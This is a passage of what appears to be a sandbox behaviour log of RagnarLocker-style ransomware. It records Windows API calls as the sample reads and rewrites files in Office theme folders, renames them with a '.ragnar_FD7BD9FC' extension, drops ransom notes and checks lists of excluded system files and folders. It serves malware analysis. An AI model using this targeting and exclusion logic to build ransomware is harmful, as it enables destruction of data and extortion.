lpNumberOfBytesWritten=0x1ea458*=0x1e4, lpOverlapped=0x0) returned 1 [0076.669] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.669] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.669] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.669] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.670] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.670] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.670] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.670] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.670] GetProcessHeap () returned 0x580000 [0076.670] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.670] CloseHandle (hObject=0x100) returned 1 [0076.670] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" [0076.670] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF.ragnar_FD7BD9FC" [0076.670] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.670] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0076.671] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0076.671] lstrcpyW (in: lpString1=0x1eab6e, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0076.671] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned=".PNG" [0076.671] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0076.671] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0076.671] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0076.671] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0076.671] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0076.671] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0076.671] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0076.671] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0076.671] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0076.671] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0076.671] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0076.671] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0076.671] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0076.671] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0076.671] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0076.671] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0076.671] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0076.671] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0076.671] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0076.671] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0076.671] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0076.671] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0076.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0076.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0076.672] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=21812) returned 1 [0076.672] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x552b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.672] GetProcessHeap () returned 0x580000 [0076.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0076.672] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.673] VirtualAlloc (lpAddress=0x0, dwSize=0x5534, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.673] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.673] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.674] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5534, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x5534, lpOverlapped=0x0) returned 1 [0076.675] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.675] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5534, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.675] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5534, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x5534, lpOverlapped=0x0) returned 1 [0076.675] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5534, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.675] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.675] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x5534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.675] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.675] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.676] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.676] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.676] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.676] GetProcessHeap () returned 0x580000 [0076.676] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.676] CloseHandle (hObject=0x100) returned 1 [0076.676] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" [0076.676] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0076.676] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.676] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0076.676] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0076.676] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0076.676] lstrcmpiW (lpString1="SPRING", lpString2=".") returned 1 [0076.677] lstrcmpiW (lpString1="SPRING", lpString2="..") returned 1 [0076.677] lstrcmpiW (lpString1="SPRING", lpString2="Windows") returned -1 [0076.677] lstrcmpiW (lpString1="SPRING", lpString2="Windows.old") returned -1 [0076.677] lstrcmpiW (lpString1="SPRING", lpString2="Tor browser") returned -1 [0076.677] lstrcmpiW (lpString1="SPRING", lpString2="Internet Explorer") returned 1 [0076.677] lstrcmpiW (lpString1="SPRING", lpString2="Google") returned 1 [0076.677] lstrcmpiW (lpString1="SPRING", lpString2="Opera") returned 1 [0076.677] lstrcmpiW (lpString1="SPRING", lpString2="Opera Software") returned 1 [0076.677] lstrcmpiW (lpString1="SPRING", lpString2="Mozilla") returned 1 [0076.677] lstrcmpiW (lpString1="SPRING", lpString2="Mozilla Firefox") returned 1 [0076.677] lstrcmpiW (lpString1="SPRING", lpString2="$Recycle.Bin") returned 1 [0076.677] lstrcmpiW (lpString1="SPRING", lpString2="ProgramData") returned 1 [0076.677] lstrcmpiW (lpString1="SPRING", lpString2="All Users") returned 1 [0076.677] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0076.677] lstrcpyW (in: lpString1=0x1eb638, lpString2="SPRING" | out: lpString1="SPRING") returned="SPRING" [0076.677] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\" [0076.677] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\" [0076.677] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\RGNR_FD7BD9FC.txt" [0076.677] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0076.679] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*" [0076.679] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0076.679] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0076.679] lstrcpyW (in: lpString1=0x1ea75a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0076.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ff1a460, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ff1a460, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0076.679] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0076.679] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ff1a460, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ff1a460, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.679] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0076.679] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0076.679] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0076.679] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0076.679] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0076.679] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ff1a460, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ff1a460, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0076.679] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0076.679] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0076.679] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0076.679] lstrcmpiW (lpString1="SPRING.ELM", lpString2=".") returned 1 [0076.679] lstrcmpiW (lpString1="SPRING.ELM", lpString2="..") returned 1 [0076.680] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0076.680] lstrcmpiW (lpString1="SPRING.INF", lpString2=".") returned 1 [0076.680] lstrcmpiW (lpString1="SPRING.INF", lpString2="..") returned 1 [0076.680] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0076.680] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0076.680] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0076.680] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0076.680] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0076.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ff1a460, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ff1a460, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0076.680] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ff1a460, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ff1a460, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.680] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0076.680] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0076.680] lstrcpyW (in: lpString1=0x1eab6e, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0076.680] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned=".GIF" [0076.680] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0076.680] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0076.680] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0076.680] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0076.680] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0076.680] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0076.680] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0076.680] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0076.680] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0076.680] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0076.680] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0076.680] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0076.680] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0076.680] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0076.680] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0076.680] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0076.680] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0076.681] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0076.681] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0076.681] 